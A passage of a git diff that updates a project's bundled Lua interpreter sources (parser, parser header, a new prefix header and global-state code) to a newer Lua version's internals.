expdesc e; check_condition(ls, vkisvar(lh->v.k), "syntax error"); - if (testnext(ls, ',')) { /* assignment -> ',' suffixedexp assignment */ + check_readonly(ls, &lh->v); + if (testnext(ls, ',')) { /* restassign -> ',' suffixedexp restassign */ struct LHS_assign nv; nv.prev = lh; suffixedexp(ls, &nv.v); - if (nv.v.k != VINDEXED) + if (!vkisindexed(nv.v.k)) check_conflict(ls, lh, &nv.v); - checklimit(ls->fs, nvars + ls->L->nCcalls, LUAI_MAXCCALLS, - "C levels"); - assignment(ls, &nv, nvars + 1); - } else { /* assignment -> `=' explist */ + enterlevel(ls); /* control recursion depth */ + restassign(ls, &nv, nvars + 1); + leavelevel(ls); + } else { /* restassign -> '=' explist */ int nexps; checknext(ls, '='); nexps = explist(ls, &e); - if (nexps != nvars) { + if (nexps != nvars) adjust_assign(ls, nvars, nexps, &e); - if (nexps > nvars) - ls->fs->freereg -= nexps - nvars; /* remove extra values */ - } else { + else { luaK_setoneret(ls->fs, &e); /* close last expression */ luaK_storevar(ls->fs, &lh->v, &e); return; /* avoid default */ @@ -1190,63 +1431,61 @@ static int cond(LexState *ls) { /* cond -> exp */ expdesc v; expr(ls, &v); /* read condition */ - if (v.k == VNIL) v.k = VFALSE; /* `falses' are all equal here */ + if (v.k == VNIL) v.k = VFALSE; /* 'falses' are all equal here */ luaK_goiftrue(ls->fs, &v); return v.f; } -static void gotostat(LexState *ls, int pc) { - int line = ls->linenumber; - TString *label; - int g; - if (testnext(ls, TK_GOTO)) - label = str_checkname(ls); - else { - luaX_next(ls); /* skip break */ - label = luaS_new(ls->L, "break"); - } - g = newlabelentry(ls, &ls->dyd->gt, label, line, pc); - findlabel(ls, g); /* close it if label already defined */ -} - - -/* check for repeated labels on the same block */ -static void checkrepeated(FuncState *fs, Labellist *ll, TString *label) { - int i; - for (i = fs->bl->firstlabel; i < ll->n; i++) { - if (luaS_eqstr(label, ll->arr[i].name)) { - const char *msg = luaO_pushfstring(fs->ls->L, - "label " LUA_QS " already defined on line %d", - getstr(label), ll->arr[i].line); - semerror(fs->ls, msg); - } - } -} - - -/* skip no-op statements */ -static void skipnoopstat(LexState *ls) { - while (ls->t.token == ';' || ls->t.token == TK_DBCOLON) - statement(ls); -} - - -static void labelstat(LexState *ls, TString *label, int line) { - /* label -> '::' NAME '::' */ +static void gotostat(LexState *ls) { FuncState *fs = ls->fs; - Labellist *ll = &ls->dyd->label; - int l; /* index of new label being created */ - checkrepeated(fs, ll, label); /* check for repeated labels */ - checknext(ls, TK_DBCOLON); /* skip double colon */ - /* create new entry for this label */ - l = newlabelentry(ls, ll, label, line, fs->pc); - skipnoopstat(ls); /* skip other no-op statements */ - if (block_follow(ls, 0)) { /* label is last no-op statement in the block? */ - /* assume that locals are already out of scope */ - ll->arr[l].nactvar = fs->bl->nactvar; + int line = ls->linenumber; + TString *name = str_checkname(ls); /* label's name */ + Labeldesc *lb = findlabel(ls, name); + if (lb == NULL) /* no label? */ + /* forward jump; will be resolved when the label is declared */ + newgotoentry(ls, name, line, luaK_jump(fs)); + else { /* found a label */ + /* backward jump; will be resolved here */ + int lblevel = reglevel(fs, lb->nactvar); /* label level */ + if (luaY_nvarstack(fs) > lblevel) /* leaving the scope of a variable? */ + luaK_codeABC(fs, OP_CLOSE, lblevel, 0, 0); + /* create jump and link it to the label */ + luaK_patchlist(fs, luaK_jump(fs), lb->pc); } - findgotos(ls, &ll->arr[l]); +} + + +/* +** Break statement. Semantically equivalent to "goto break". +*/ +static void breakstat(LexState *ls) { + int line = ls->linenumber; + luaX_next(ls); /* skip break */ + newgotoentry(ls, luaS_newliteral(ls->L, "break"), line, luaK_jump(ls->fs)); +} + + +/* +** Check whether there is already a label with the given 'name'. +*/ +static void checkrepeated(LexState *ls, TString *name) { + Labeldesc *lb = findlabel(ls, name); + if (l_unlikely(lb != NULL)) { /* already defined? */ + const char *msg = "label '%s' already defined on line %d"; + msg = luaO_pushfstring(ls->L, msg, getstr(name), lb->line); + luaK_semerror(ls, msg); /* error */ + } +} + + +static void labelstat(LexState *ls, TString *name, int line) { + /* label -> '::' NAME '::' */ + checknext(ls, TK_DBCOLON); /* skip double colon */ + while (ls->t.token == ';' || ls->t.token == TK_DBCOLON) + statement(ls); /* skip other no-op statements */ + checkrepeated(ls, name); /* check for repeated labels */ + createlabel(ls, name, line, block_follow(ls, 0)); } @@ -1281,58 +1520,83 @@ static void repeatstat(LexState *ls, int line) { statlist(ls); check_match(ls, TK_UNTIL, TK_REPEAT, line); condexit = cond(ls); /* read condition (inside scope block) */ - if (bl2.upval) /* upvalues? */ - luaK_patchclose(fs, condexit, bl2.nactvar); leaveblock(fs); /* finish scope */ + if (bl2.upval) { /* upvalues? */ + int exit = luaK_jump(fs); /* normal exit must jump over fix */ + luaK_patchtohere(fs, condexit); /* repetition must close upvalues */ + luaK_codeABC(fs, OP_CLOSE, reglevel(fs, bl2.nactvar), 0, 0); + condexit = luaK_jump(fs); /* repeat after closing upvalues */ + luaK_patchtohere(fs, exit); /* normal exit comes to here */ + } luaK_patchlist(fs, condexit, repeat_init); /* close the loop */ leaveblock(fs); /* finish loop */ } -static int exp1(LexState *ls) { +/* +** Read an expression and generate code to put its results in next +** stack slot. +** +*/ +static void exp1(LexState *ls) { expdesc e; - int reg; expr(ls, &e); luaK_exp2nextreg(ls->fs, &e); lua_assert(e.k == VNONRELOC); - reg = e.u.info; - return reg; } -static void forbody(LexState *ls, int base, int line, int nvars, int isnum) { +/* +** Fix for instruction at position 'pc' to jump to 'dest'. +** (Jump addresses are relative in Lua). 'back' true means +** a back jump. +*/ +static void fixforjump(FuncState *fs, int pc, int dest, int back) { + Instruction *jmp = &fs->f->code[pc]; + int offset = dest - (pc + 1); + if (back) + offset = -offset; + if (l_unlikely(offset > MAXARG_Bx)) + luaX_syntaxerror(fs->ls, "control structure too long"); + SETARG_Bx(*jmp, offset); +} + + +/* +** Generate code for a 'for' loop. +*/ +static void forbody(LexState *ls, int base, int line, int nvars, int isgen) { /* forbody -> DO block */ + static const OpCode forprep[2] = {OP_FORPREP, OP_TFORPREP}; + static const OpCode forloop[2] = {OP_FORLOOP, OP_TFORLOOP}; BlockCnt bl; FuncState *fs = ls->fs; int prep, endfor; - adjustlocalvars(ls, 3); /* control variables */ checknext(ls, TK_DO); - prep = isnum ? luaK_codeAsBx(fs, OP_FORPREP, base, NO_JUMP) : luaK_jump(fs); + prep = luaK_codeABx(fs, forprep[isgen], base, 0); enterblock(fs, &bl, 0); /* scope for declared variables */ adjustlocalvars(ls, nvars); luaK_reserveregs(fs, nvars); block(ls); leaveblock(fs); /* end of scope for declared variables */ - luaK_patchtohere(fs, prep); - if (isnum) /* numeric for? */ - endfor = luaK_codeAsBx(fs, OP_FORLOOP, base, NO_JUMP); - else { /* generic for */ + fixforjump(fs, prep, luaK_getlabel(fs), 0); + if (isgen) { /* generic for? */ luaK_codeABC(fs, OP_TFORCALL, base, 0, nvars); luaK_fixline(fs, line); - endfor = luaK_codeAsBx(fs, OP_TFORLOOP, base + 2, NO_JUMP); } - luaK_patchlist(fs, endfor, prep + 1); + endfor = luaK_codeABx(fs, forloop[isgen], base, 0); + fixforjump(fs, endfor, prep + 1, 1); luaK_fixline(fs, line); } static void fornum(LexState *ls, TString *varname, int line) { - /* fornum -> NAME = exp1,exp1[,exp1] forbody */ + /* fornum -> NAME = exp,exp[,exp] forbody */ FuncState *fs = ls->fs; int base = fs->freereg; - new_localvarliteral(ls, "(for index)"); - new_localvarliteral(ls, "(for limit)"); - new_localvarliteral(ls, "(for step)"); + new_localvarliteral(ls, "(for state)"); + new_localvarliteral(ls, "(for state)"); + new_localvarliteral(ls, "(for state)"); new_localvar(ls, varname); checknext(ls, '='); exp1(ls); /* initial value */ @@ -1341,10 +1605,11 @@ static void fornum(LexState *ls, TString *varname, int line) { if (testnext(ls, ',')) exp1(ls); /* optional step */ else { /* default step = 1 */ - luaK_codek(fs, fs->freereg, luaK_numberK(fs, 1)); + luaK_int(fs, fs->freereg, 1); luaK_reserveregs(fs, 1); } - forbody(ls, base, line, 1, 1); + adjustlocalvars(ls, 3); /* control variables */ + forbody(ls, base, line, 1, 0); } @@ -1352,13 +1617,14 @@ static void forlist(LexState *ls, TString *indexname) { /* forlist -> NAME {,NAME} IN explist forbody */ FuncState *fs = ls->fs; expdesc e; - int nvars = 4; /* gen, state, control, plus at least one declared var */ + int nvars = 5; /* gen, state, control, toclose, 'indexname' */ int line; int base = fs->freereg; /* create control variables */ - new_localvarliteral(ls, "(for generator)"); new_localvarliteral(ls, "(for state)"); - new_localvarliteral(ls, "(for control)"); + new_localvarliteral(ls, "(for state)"); + new_localvarliteral(ls, "(for state)"); + new_localvarliteral(ls, "(for state)"); /* create declared variables */ new_localvar(ls, indexname); while (testnext(ls, ',')) { @@ -1367,9 +1633,11 @@ static void forlist(LexState *ls, TString *indexname) { } checknext(ls, TK_IN); line = ls->linenumber; - adjust_assign(ls, 3, explist(ls, &e), &e); + adjust_assign(ls, 4, explist(ls, &e), &e); + adjustlocalvars(ls, 4); /* control variables */ + marktobeclosed(fs); /* last control var. must be closed */ luaK_checkstack(fs, 3); /* extra space to call generator */ - forbody(ls, base, line, nvars - 3, 0); + forbody(ls, base, line, nvars - 4, 1); } @@ -1379,7 +1647,7 @@ static void forstat(LexState *ls, int line) { TString *varname; BlockCnt bl; enterblock(fs, &bl, 1); /* scope for loop and control variables */ - luaX_next(ls); /* skip `for' */ + luaX_next(ls); /* skip 'for' */ varname = str_checkname(ls); /* first variable name */ switch (ls->t.token) { case '=': @@ -1390,10 +1658,10 @@ static void forstat(LexState *ls, int line) { forlist(ls, varname); break; default: - luaX_syntaxerror(ls, LUA_QL("=") " or " LUA_QL("in") " expected"); + luaX_syntaxerror(ls, "'=' or 'in' expected"); } check_match(ls, TK_END, TK_FOR, line); - leaveblock(fs); /* loop scope (`break' jumps to this point) */ + leaveblock(fs); /* loop scope ('break' jumps to this point) */ } @@ -1406,22 +1674,24 @@ static void test_then_block(LexState *ls, int *escapelist) { luaX_next(ls); /* skip IF or ELSEIF */ expr(ls, &v); /* read condition */ checknext(ls, TK_THEN); - if (ls->t.token == TK_GOTO || ls->t.token == TK_BREAK) { - luaK_goiffalse(ls->fs, &v); /* will jump to label if condition is true */ + if (ls->t.token == TK_BREAK) { /* 'if x then break' ? */ + int line = ls->linenumber; + luaK_goiffalse(ls->fs, &v); /* will jump if condition is true */ + luaX_next(ls); /* skip 'break' */ enterblock(fs, &bl, 0); /* must enter block before 'goto' */ - gotostat(ls, v.t); /* handle goto/break */ - skipnoopstat(ls); /* skip other no-op statements */ - if (block_follow(ls, 0)) { /* 'goto' is the entire block? */ + newgotoentry(ls, luaS_newliteral(ls->L, "break"), line, v.t); + while (testnext(ls, ';')) {} /* skip semicolons */ + if (block_follow(ls, 0)) { /* jump is the entire block? */ leaveblock(fs); return; /* and that is it */ } else /* must skip over 'then' part if condition is false */ jf = luaK_jump(fs); - } else { /* regular case (not goto/break) */ + } else { /* regular case (not a break) */ luaK_goiftrue(ls->fs, &v); /* skip over block if condition is false */ enterblock(fs, &bl, 0); jf = v.f; } - statlist(ls); /* `then' part */ + statlist(ls); /* 'then' part */ leaveblock(fs); if (ls->t.token == TK_ELSE || ls->t.token == TK_ELSEIF) /* followed by 'else'/'elseif'? */ @@ -1438,7 +1708,7 @@ static void ifstat(LexState *ls, int line) { while (ls->t.token == TK_ELSEIF) test_then_block(ls, &escapelist); /* ELSEIF cond THEN block */ if (testnext(ls, TK_ELSE)) - block(ls); /* `else' part */ + block(ls); /* 'else' part */ check_match(ls, TK_END, TK_IF, line); luaK_patchtohere(fs, escapelist); /* patch escape list to 'if' end */ } @@ -1447,21 +1717,58 @@ static void ifstat(LexState *ls, int line) { static void localfunc(LexState *ls) { expdesc b; FuncState *fs = ls->fs; + int fvar = fs->nactvar; /* function's variable index */ new_localvar(ls, str_checkname(ls)); /* new local variable */ adjustlocalvars(ls, 1); /* enter its scope */ body(ls, &b, 0, ls->linenumber); /* function created in next register */ /* debug information will only see the variable after this point! */ - getlocvar(fs, b.u.info)->startpc = fs->pc; + localdebuginfo(fs, fvar)->startpc = fs->pc; +} + + +static int getlocalattribute(LexState *ls) { + /* ATTRIB -> ['<' Name '>'] */ + if (testnext(ls, '<')) { + const char *attr = getstr(str_checkname(ls)); + checknext(ls, '>'); + if (strcmp(attr, "const") == 0) + return RDKCONST; /* read-only variable */ + else if (strcmp(attr, "close") == 0) + return RDKTOCLOSE; /* to-be-closed variable */ + else + luaK_semerror(ls, + luaO_pushfstring(ls->L, "unknown attribute '%s'", attr)); + } + return VDKREG; /* regular variable */ +} + + +static void checktoclose(FuncState *fs, int level) { + if (level != -1) { /* is there a to-be-closed variable? */ + marktobeclosed(fs); + luaK_codeABC(fs, OP_TBC, reglevel(fs, level), 0, 0); + } } static void localstat(LexState *ls) { - /* stat -> LOCAL NAME {`,' NAME} [`=' explist] */ + /* stat -> LOCAL NAME ATTRIB { ',' NAME ATTRIB } ['=' explist] */ + FuncState *fs = ls->fs; + int toclose = -1; /* index of to-be-closed variable (if any) */ + Vardesc *var; /* last variable */ + int vidx, kind; /* index and kind of last variable */ int nvars = 0; int nexps; expdesc e; do { - new_localvar(ls, str_checkname(ls)); + vidx = new_localvar(ls, str_checkname(ls)); + kind = getlocalattribute(ls); + getlocalvardesc(fs, vidx)->vd.kind = kind; + if (kind == RDKTOCLOSE) { /* to-be-closed? */ + if (toclose != -1) /* one already present? */ + luaK_semerror(ls, "multiple to-be-closed variables in local list"); + toclose = fs->nactvar + nvars; + } nvars++; } while (testnext(ls, ',')); if (testnext(ls, '=')) @@ -1470,13 +1777,23 @@ static void localstat(LexState *ls) { e.k = VVOID; nexps = 0; } - adjust_assign(ls, nvars, nexps, &e); - adjustlocalvars(ls, nvars); + var = getlocalvardesc(fs, vidx); /* get last variable */ + if (nvars == nexps && /* no adjustments? */ + var->vd.kind == RDKCONST && /* last variable is const? */ + luaK_exp2const(fs, &e, &var->k)) { /* compile-time constant? */ + var->vd.kind = RDKCTC; /* variable is a compile-time constant */ + adjustlocalvars(ls, nvars - 1); /* exclude last variable */ + fs->nactvar++; /* but count it */ + } else { + adjust_assign(ls, nvars, nexps, &e); + adjustlocalvars(ls, nvars); + } + checktoclose(fs, toclose); } static int funcname(LexState *ls, expdesc *v) { - /* funcname -> NAME {fieldsel} [`:' NAME] */ + /* funcname -> NAME {fieldsel} [':' NAME] */ int ismethod = 0; singlevar(ls, v); while (ls->t.token == '.') @@ -1496,8 +1813,9 @@ static void funcstat(LexState *ls, int line) { luaX_next(ls); /* skip FUNCTION */ ismethod = funcname(ls, &v); body(ls, &b, ismethod, line); + check_readonly(ls, &v); luaK_storevar(ls->fs, &v, &b); - luaK_fixline(ls->fs, line); /* definition `happens' in the first line */ + luaK_fixline(ls->fs, line); /* definition "happens" in the first line */ } @@ -1508,10 +1826,12 @@ static void exprstat(LexState *ls) { suffixedexp(ls, &v.v); if (ls->t.token == '=' || ls->t.token == ',') { /* stat -> assignment ? */ v.prev = NULL; - assignment(ls, &v, 1); + restassign(ls, &v, 1); } else { /* stat -> func */ + Instruction *inst; check_condition(ls, v.v.k == VCALL, "syntax error"); - SETARG_C(getcode(fs, &v.v), 1); /* call statement uses no results */ + inst = &getinstruction(fs, &v.v); + SETARG_C(*inst, 1); /* call statement uses no results */ } } @@ -1520,25 +1840,24 @@ static void retstat(LexState *ls) { /* stat -> RETURN [explist] [';'] */ FuncState *fs = ls->fs; expdesc e; - int first, nret; /* registers with returned values */ + int nret; /* number of values being returned */ + int first = luaY_nvarstack(fs); /* first slot to be returned */ if (block_follow(ls, 1) || ls->t.token == ';') - first = nret = 0; /* return no values */ + nret = 0; /* return no values */ else { nret = explist(ls, &e); /* optional return values */ if (hasmultret(e.k)) { luaK_setmultret(fs, &e); - if (e.k == VCALL && nret == 1) { /* tail call? */ - SET_OPCODE(getcode(fs, &e), OP_TAILCALL); - lua_assert(GETARG_A(getcode(fs, &e)) == fs->nactvar); + if (e.k == VCALL && nret == 1 && !fs->bl->insidetbc) { /* tail call? */ + SET_OPCODE(getinstruction(fs, &e), OP_TAILCALL); + lua_assert(GETARG_A(getinstruction(fs, &e)) == luaY_nvarstack(fs)); } - first = fs->nactvar; nret = LUA_MULTRET; /* return all values */ } else { if (nret == 1) /* only one single value? */ - first = luaK_exp2anyreg(fs, &e); - else { - luaK_exp2nextreg(fs, &e); /* values must go to the `stack' */ - first = fs->nactvar; /* return all `active' values */ + first = luaK_exp2anyreg(fs, &e); /* can use original slot */ + else { /* values must go to the top of the stack */ + luaK_exp2nextreg(fs, &e); lua_assert(nret == fs->freereg - first); } } @@ -1600,9 +1919,13 @@ static void statement(LexState *ls) { retstat(ls); break; } - case TK_BREAK: /* stat -> breakstat */ + case TK_BREAK: { /* stat -> breakstat */ + breakstat(ls); + break; + } case TK_GOTO: { /* stat -> 'goto' NAME */ - gotostat(ls, luaK_jump(ls->fs)); + luaX_next(ls); /* skip 'goto' */ + gotostat(ls); break; } default: { /* stat -> func | assignment */ @@ -1611,8 +1934,8 @@ static void statement(LexState *ls) { } } lua_assert(ls->fs->f->maxstacksize >= ls->fs->freereg && - ls->fs->freereg >= ls->fs->nactvar); - ls->fs->freereg = ls->fs->nactvar; /* free registers */ + ls->fs->freereg >= luaY_nvarstack(ls->fs)); + ls->fs->freereg = luaY_nvarstack(ls->fs); /* free registers */ leavelevel(ls); } @@ -1625,11 +1948,15 @@ static void statement(LexState *ls) { */ static void mainfunc(LexState *ls, FuncState *fs) { BlockCnt bl; - expdesc v; + Upvaldesc *env; open_func(ls, fs, &bl); - fs->f->is_vararg = 1; /* main function is always vararg */ - init_exp(&v, VLOCAL, 0); /* create and... */ - newupvalue(fs, ls->envn, &v); /* ...set environment upvalue */ + setvararg(fs, 0); /* main function is always declared vararg */ + env = allocupvalue(fs); /* ...set environment upvalue */ + env->instack = 1; + env->idx = 0; + env->kind = VDKREG; + env->name = ls->envn; + luaC_objbarrier(ls->L, fs->f, env->name); luaX_next(ls); /* read first token */ statlist(ls); /* parse main body */ check(ls, TK_EOS); @@ -1637,16 +1964,20 @@ static void mainfunc(LexState *ls, FuncState *fs) { } -Closure *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, - Dyndata *dyd, const char *name, int firstchar) { +LClosure *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, + Dyndata *dyd, const char *name, int firstchar) { LexState lexstate; FuncState funcstate; - Closure *cl = luaF_newLclosure(L, 1); /* create main closure */ - /* anchor closure (to avoid being collected) */ - setclLvalue(L, L->top, cl); - incr_top(L); - funcstate.f = cl->l.p = luaF_newproto(L); + LClosure *cl = luaF_newLclosure(L, 1); /* create main closure */ + setclLvalue2s(L, L->top.p, cl); /* anchor it (to avoid being collected) */ + luaD_inctop(L); + lexstate.h = luaH_new(L); /* create table for scanner */ + sethvalue2s(L, L->top.p, lexstate.h); /* anchor it */ + luaD_inctop(L); + funcstate.f = cl->p = luaF_newproto(L); + luaC_objbarrier(L, cl, cl->p); funcstate.f->source = luaS_new(L, name); /* create and anchor TString */ + luaC_objbarrier(L, funcstate.f, funcstate.f->source); lexstate.buff = buff; lexstate.dyd = dyd; dyd->actvar.n = dyd->gt.n = dyd->label.n = 0; @@ -1655,6 +1986,7 @@ Closure *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, lua_assert(!funcstate.prev && funcstate.nups == 1 && !lexstate.fs); /* all scopes should be correctly finished */ lua_assert(dyd->actvar.n == 0 && dyd->gt.n == 0 && dyd->label.n == 0); - return cl; /* it's on the stack too */ + L->top.p--; /* remove scanner's table */ + return cl; /* closure is on the stack, too */ } diff --git a/client/deps/liblua/lparser.h b/client/deps/liblua/lparser.h index 513383e6a..d24cab5f0 100644 --- a/client/deps/liblua/lparser.h +++ b/client/deps/liblua/lparser.h @@ -1,5 +1,5 @@ /* -** $Id: lparser.h,v 1.70 2012/05/08 13:53:33 roberto Exp $ +** $Id: lparser.h $ ** Lua Parser ** See Copyright Notice in lua.h */ @@ -13,58 +13,106 @@ /* -** Expression descriptor +** Expression and variable descriptor. +** Code generation for variables and expressions can be delayed to allow +** optimizations; An 'expdesc' structure describes a potentially-delayed +** variable/expression. It has a description of its "main" value plus a +** list of conditional jumps that can also produce its value (generated +** by short-circuit operators 'and'/'or'). */ +/* kinds of variables/expressions */ typedef enum { - VVOID, /* no value */ - VNIL, - VTRUE, - VFALSE, - VK, /* info = index of constant in `k' */ - VKNUM, /* nval = numerical value */ - VNONRELOC, /* info = result register */ - VLOCAL, /* info = local register */ - VUPVAL, /* info = index of upvalue in 'upvalues' */ - VINDEXED, /* t = table register/upvalue; idx = index R/K */ - VJMP, /* info = instruction pc */ - VRELOCABLE, /* info = instruction pc */ - VCALL, /* info = instruction pc */ - VVARARG /* info = instruction pc */ + VVOID, /* when 'expdesc' describes the last expression of a list, + this kind means an empty list (so, no expression) */ + VNIL, /* constant nil */ + VTRUE, /* constant true */ + VFALSE, /* constant false */ + VK, /* constant in 'k'; info = index of constant in 'k' */ + VKFLT, /* floating constant; nval = numerical float value */ + VKINT, /* integer constant; ival = numerical integer value */ + VKSTR, /* string constant; strval = TString address; + (string is fixed by the lexer) */ + VNONRELOC, /* expression has its value in a fixed register; + info = result register */ + VLOCAL, /* local variable; var.ridx = register index; + var.vidx = relative index in 'actvar.arr' */ + VUPVAL, /* upvalue variable; info = index of upvalue in 'upvalues' */ + VCONST, /* compile-time variable; + info = absolute index in 'actvar.arr' */ + VINDEXED, /* indexed variable; + ind.t = table register; + ind.idx = key's R index */ + VINDEXUP, /* indexed upvalue; + ind.t = table upvalue; + ind.idx = key's K index */ + VINDEXI, /* indexed variable with constant integer; + ind.t = table register; + ind.idx = key's value */ + VINDEXSTR, /* indexed variable with literal string; + ind.t = table register; + ind.idx = key's K index */ + VJMP, /* expression is a test/comparison; + info = pc of corresponding jump instruction */ + VRELOC, /* expression can put result in any register; + info = instruction pc */ + VCALL, /* expression is a function call; info = instruction pc */ + VVARARG /* vararg expression; info = instruction pc */ } expkind; -#define vkisvar(k) (VLOCAL <= (k) && (k) <= VINDEXED) -#define vkisinreg(k) ((k) == VNONRELOC || (k) == VLOCAL) +#define vkisvar(k) (VLOCAL <= (k) && (k) <= VINDEXSTR) +#define vkisindexed(k) (VINDEXED <= (k) && (k) <= VINDEXSTR) + typedef struct expdesc { expkind k; union { - struct { /* for indexed variables (VINDEXED) */ - short idx; /* index (R/K) */ - lu_byte t; /* table (register or upvalue) */ - lu_byte vt; /* whether 't' is register (VLOCAL) or upvalue (VUPVAL) */ - } ind; + lua_Integer ival; /* for VKINT */ + lua_Number nval; /* for VKFLT */ + TString *strval; /* for VKSTR */ int info; /* for generic use */ - lua_Number nval; /* for VKNUM */ + struct { /* for indexed variables */ + short idx; /* index (R or "long" K) */ + lu_byte t; /* table (register or upvalue) */ + } ind; + struct { /* for local variables */ + lu_byte ridx; /* register holding the variable */ + unsigned short vidx; /* compiler index (in 'actvar.arr') */ + } var; } u; - int t; /* patch list of `exit when true' */ - int f; /* patch list of `exit when false' */ + int t; /* patch list of 'exit when true' */ + int f; /* patch list of 'exit when false' */ } expdesc; -/* description of active local variable */ -typedef struct Vardesc { - short idx; /* variable index in stack */ +/* kinds of variables */ +#define VDKREG 0 /* regular */ +#define RDKCONST 1 /* constant */ +#define RDKTOCLOSE 2 /* to-be-closed */ +#define RDKCTC 3 /* compile-time constant */ + +/* description of an active local variable */ +typedef union Vardesc { + struct { + TValuefields; /* constant value (if it is a compile-time constant) */ + lu_byte kind; + lu_byte ridx; /* register holding the variable */ + short pidx; /* index of the variable in the Proto's 'locvars' array */ + TString *name; /* variable name */ + } vd; + TValue k; /* constant value (if any) */ } Vardesc; + /* description of pending goto statements and label statements */ typedef struct Labeldesc { TString *name; /* label identifier */ int pc; /* position in code */ int line; /* line where it appeared */ - lu_byte nactvar; /* local level where it appears in current block */ + lu_byte nactvar; /* number of active variables in that position */ + lu_byte close; /* goto that escapes upvalues */ } Labeldesc; @@ -78,7 +126,7 @@ typedef struct Labellist { /* dynamic structures used by the parser */ typedef struct Dyndata { - struct { /* list of active local variables */ + struct { /* list of all active local variables */ Vardesc *arr; int n; int size; @@ -95,25 +143,29 @@ struct BlockCnt; /* defined in lparser.c */ /* state needed to generate code for a given function */ typedef struct FuncState { Proto *f; /* current function header */ - Table *h; /* table to find (and reuse) elements in `k' */ struct FuncState *prev; /* enclosing function */ struct LexState *ls; /* lexical state */ struct BlockCnt *bl; /* chain of current blocks */ - int pc; /* next position to code (equivalent to `ncode') */ + int pc; /* next position to code (equivalent to 'ncode') */ int lasttarget; /* 'label' of last 'jump label' */ - int jpc; /* list of pending jumps to `pc' */ - int nk; /* number of elements in `k' */ - int np; /* number of elements in `p' */ + int previousline; /* last line that was saved in 'lineinfo' */ + int nk; /* number of elements in 'k' */ + int np; /* number of elements in 'p' */ + int nabslineinfo; /* number of elements in 'abslineinfo' */ int firstlocal; /* index of first local var (in Dyndata array) */ - short nlocvars; /* number of elements in 'f->locvars' */ + int firstlabel; /* index of first label (in 'dyd->label->arr') */ + short ndebugvars; /* number of elements in 'f->locvars' */ lu_byte nactvar; /* number of active local variables */ lu_byte nups; /* number of upvalues */ lu_byte freereg; /* first free register */ + lu_byte iwthabs; /* instructions issued since last absolute line info */ + lu_byte needclose; /* function needs to close upvalues when returning */ } FuncState; -LUAI_FUNC Closure *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, - Dyndata *dyd, const char *name, int firstchar); +LUAI_FUNC int luaY_nvarstack(FuncState *fs); +LUAI_FUNC LClosure *luaY_parser(lua_State *L, ZIO *z, Mbuffer *buff, + Dyndata *dyd, const char *name, int firstchar); #endif diff --git a/client/deps/liblua/lprefix.h b/client/deps/liblua/lprefix.h new file mode 100644 index 000000000..484f2ad6f --- /dev/null +++ b/client/deps/liblua/lprefix.h @@ -0,0 +1,45 @@ +/* +** $Id: lprefix.h $ +** Definitions for Lua code that must come before any other header file +** See Copyright Notice in lua.h +*/ + +#ifndef lprefix_h +#define lprefix_h + + +/* +** Allows POSIX/XSI stuff +*/ +#if !defined(LUA_USE_C89) /* { */ + +#if !defined(_XOPEN_SOURCE) +#define _XOPEN_SOURCE 600 +#elif _XOPEN_SOURCE == 0 +#undef _XOPEN_SOURCE /* use -D_XOPEN_SOURCE=0 to undefine it */ +#endif + +/* +** Allows manipulation of large files in gcc and some other compilers +*/ +#if !defined(LUA_32BITS) && !defined(_FILE_OFFSET_BITS) +#define _LARGEFILE_SOURCE 1 +#define _FILE_OFFSET_BITS 64 +#endif + +#endif /* } */ + + +/* +** Windows stuff +*/ +#if defined(_WIN32) /* { */ + +#if !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS /* avoid warnings about ISO C functions */ +#endif + +#endif /* } */ + +#endif + diff --git a/client/deps/liblua/lstate.c b/client/deps/liblua/lstate.c index 77caf9e9c..55561ca5b 100644 --- a/client/deps/liblua/lstate.c +++ b/client/deps/liblua/lstate.c @@ -1,16 +1,18 @@ /* -** $Id: lstate.c,v 2.99 2012/10/02 17:40:53 roberto Exp $ +** $Id: lstate.c $ ** Global State ** See Copyright Notice in lua.h */ +#define lstate_c +#define LUA_CORE + +#include "lprefix.h" + #include #include -#define lstate_c -#define LUA_CORE - #include "lua.h" #include "lapi.h" @@ -26,40 +28,12 @@ #include "ltm.h" -#if !defined(LUAI_GCPAUSE) -#define LUAI_GCPAUSE 200 /* 200% */ -#endif - -#if !defined(LUAI_GCMAJOR) -#define LUAI_GCMAJOR 200 /* 200% */ -#endif - -#if !defined(LUAI_GCMUL) -#define LUAI_GCMUL 200 /* GC runs 'twice the speed' of memory allocation */ -#endif - - -#define MEMERRMSG "not enough memory" - - -/* -** a macro to help the creation of a unique random seed when a state is -** created; the seed is used to randomize hashes. -*/ -#if !defined(luai_makeseed) -#include -#define luai_makeseed() cast(unsigned int, time(NULL)) -#endif - - /* ** thread state + extra space */ typedef struct LX { -#if defined(LUAI_EXTRASPACE) - char buff[LUAI_EXTRASPACE]; -#endif + lu_byte extra_[LUA_EXTRASPACE]; lua_State l; } LX; @@ -74,89 +48,167 @@ typedef struct LG { -#define fromstate(L) (cast(LX *, cast(lu_byte *, (L)) - offsetof(LX, l))) +#define fromstate(L) (cast(LX *, cast(lu_byte *, (L)) - offsetof(LX, l))) /* -** Compute an initial seed as random as possible. In ANSI, rely on -** Address Space Layout Randomization (if present) to increase -** randomness.. +** A macro to create a "random" seed when a state is created; +** the seed is used to randomize string hashes. +*/ +#if !defined(luai_makeseed) + +#include + +/* +** Compute an initial seed with some level of randomness. +** Rely on Address Space Layout Randomization (if present) and +** current time. */ #define addbuff(b,p,e) \ - { size_t t = cast(size_t, e); \ - memcpy(buff + p, &t, sizeof(t)); p += sizeof(t); } + { size_t t = cast_sizet(e); \ + memcpy(b + p, &t, sizeof(t)); p += sizeof(t); } -static unsigned int makeseed(lua_State *L) { - char buff[4 * sizeof(size_t)]; - unsigned int h = luai_makeseed(); +static unsigned int luai_makeseed(lua_State *L) { + char buff[3 * sizeof(size_t)]; + unsigned int h = cast_uint(time(NULL)); int p = 0; addbuff(buff, p, L); /* heap variable */ addbuff(buff, p, &h); /* local variable */ - addbuff(buff, p, luaO_nilobject); /* global variable */ addbuff(buff, p, &lua_newstate); /* public function */ lua_assert(p == sizeof(buff)); return luaS_hash(buff, p, h); } +#endif + /* ** set GCdebt to a new value keeping the value (totalbytes + GCdebt) -** invariant +** invariant (and avoiding underflows in 'totalbytes') */ void luaE_setdebt(global_State *g, l_mem debt) { - g->totalbytes -= (debt - g->GCdebt); + l_mem tb = gettotalbytes(g); + 